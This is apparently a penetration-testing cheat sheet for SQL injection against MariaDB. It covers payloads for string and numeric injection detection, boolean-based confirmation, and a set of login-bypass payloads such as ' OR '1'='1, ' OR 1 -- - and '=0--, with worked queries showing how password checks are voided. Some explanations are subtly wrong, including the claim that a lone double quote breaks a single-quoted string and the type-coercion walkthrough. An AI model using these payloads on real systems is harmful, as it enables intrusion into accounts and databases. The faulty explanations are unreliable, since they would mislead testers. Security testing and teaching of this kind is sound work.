When testing for SQL injection vulnerabilities in MariaDB databases, keep in mind:
- False means the query is invalid (MariaDB errors/missing content on website)
- True means the query is valid (content is displayed as usual)
String-Based Injection
Given the query:
SELECT * FROM Table WHERE id = '1';
| Test Payload | Result | Description |
|---|---|---|
' | False | Single quote breaks the syntax |
'' | True | Two quotes balance each other |
" | False | Double quote breaks the syntax |
"" | True | Two double quotes balance each other |
\ | False | Backslash breaks the syntax |
\\ | True | Two backslashes balance each other |
Note: Backslash escaping depends on the
sql_modesetting. WhenNO_BACKSLASH_ESCAPESis enabled, backslashes are treated as literal characters rather than escape sequences. Verify@@sql_modebefore relying on these examples.
Double Quotes as String Delimiters
MariaDB allows double quotes for string values (unlike strict ANSI SQL mode):
SELECT * FROM users WHERE id = "1"
Quote Escaping
Quotes escape themselves inside strings:
SELECT 'it''s working' AS result
-- Returns: it's working
Examples
SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
Notes
- You can use as many apostrophes and quotations as you want as long as they pair up
- It is also possible to continue the statement after the chain of quotes
- Quotes escape quotes (single quote escaped by another single quote)
Numeric-Based Injection
Given the query:
SELECT * FROM Table WHERE id = 1;
Note: Rows marked with
-in the Result column test whether arithmetic expressions are evaluated rather than returning True/False. Compare the returned value against expected results to detect injection.
| Test Payload | Result | Description |
|---|---|---|
AND 1 | True | Logical truth maintains query validity |
AND 0 | False | Logical false invalidates the query |
AND true | True | Logical truth maintains query validity |
AND false | False | Logical false invalidates the query |
1-false | - | Returns 1 if expression evaluated (false=0, so 1-0=1) |
1-true | - | Returns 0 if expression evaluated (true=1, so 1-1=0) |
1*56 | - | Returns 56 if expression evaluated, 1 if literal |
Boolean Values
In MariaDB, boolean values are integers:
SELECT true = 1 AS result -- Returns: 1 (true)
SELECT false = 0 AS result -- Returns: 1 (true)
Arithmetic in WHERE Clause
SELECT * FROM Users WHERE id = 3-2;
-- Returns user with id = 1
Notes
trueis equal to 1falseis equal to 0- Arithmetic expressions are evaluated before comparison
Boolean-Based Detection
Testing if injection exists by comparing true and false conditions:
AND 1=1 vs AND 1=2
-- True condition - returns results
SELECT * FROM users WHERE id = 1 AND 1=1
-- False condition - returns no results
SELECT * FROM users WHERE id = 1 AND 1=2
If the application behaves differently between these two queries, injection is confirmed.
OR 1=1 Returns All Rows
SELECT * FROM users WHERE id = 999 OR 1=1
-- Returns all users regardless of the non-existent id
String Comparisons
SELECT * FROM users WHERE '1'='1' -- Returns all rows (true condition)
SELECT * FROM users WHERE '1'='2' -- Returns no rows (false condition)
Login Bypass Techniques
Given the query:
SELECT * FROM users WHERE username = '{input}' AND password = '{pass}';
| Test Payload | Description |
|---|---|
' OR '1'='1 | Balanced quotes: closes string, adds OR true, query’s closing quote completes the pair |
' OR 1 -- - | OR 1 (always true), -- comments out rest; trailing - ensures space after -- |
" OR "" = " | Double quote variant: "" = " evaluates to true (empty string equals empty) |
" OR 1 = 1 -- - | Double quote with comment: works if server uses double-quoted strings |
'=' | Becomes WHERE col = ''='' → empty string equals empty string → true |
'LIKE' | Becomes WHERE col = '' LIKE '' → empty string LIKE empty pattern → true |
'=0-- | Type coercion: ''=0 → empty string coerced to 0 → 0=0 → true; -- comments out rest |
Unclosed Quote Injection
The final closing quote from the SQL query structure can absorb an unclosed quote:
-- Injection: ' OR '1'='1' --
-- Original query template: SELECT * FROM users WHERE username = '{input}' AND password = ''
-- After injection:
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = ''
-- Effective query (password clause is commented out):
SELECT * FROM users WHERE username = '' OR '1'='1'
-- Result: Returns all users since '1'='1' is always true
Classic OR Injection in Password Field
Inject in the password field while using a valid username:
-- Username: admin
-- Password: ' OR '' = '
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = '';
-- The OR '' = '' is always true
OR 1=1 with Comment
-- Injection: ' OR 1=1 --
-- Note: The -- comment requires a trailing space to work in MariaDB/MySQL.
-- Some references use "-- -" where the extra dash ensures the space is visible.
-- After injection:
SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = ''
-- Effective query (everything after -- is ignored):
SELECT * FROM users WHERE username = '' OR 1=1
-- Result: Returns all users; typically first user is admin
Type Coercion Bypass
-- Injection: '=0--
-- Original: WHERE username = '{input}' AND password = ''
-- After injection:
SELECT * FROM users WHERE username = ''=0-- ' AND password = ''
-- Effective query (after -- comment removes the rest):
SELECT * FROM users WHERE username = ''=0
-- How it works:
-- 1. ''=0 compares empty string to 0
-- 2. In MariaDB, '' is coerced to 0 when compared to a number
-- 3. 0=0 evaluates to 1 (true)
-- 4. So the WHERE clause becomes: WHERE username = 1
-- 5. This returns any user where username coerces to 1 (or all if evaluated as boolean)
Balanced Quote Injection
-- Injection: ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = ''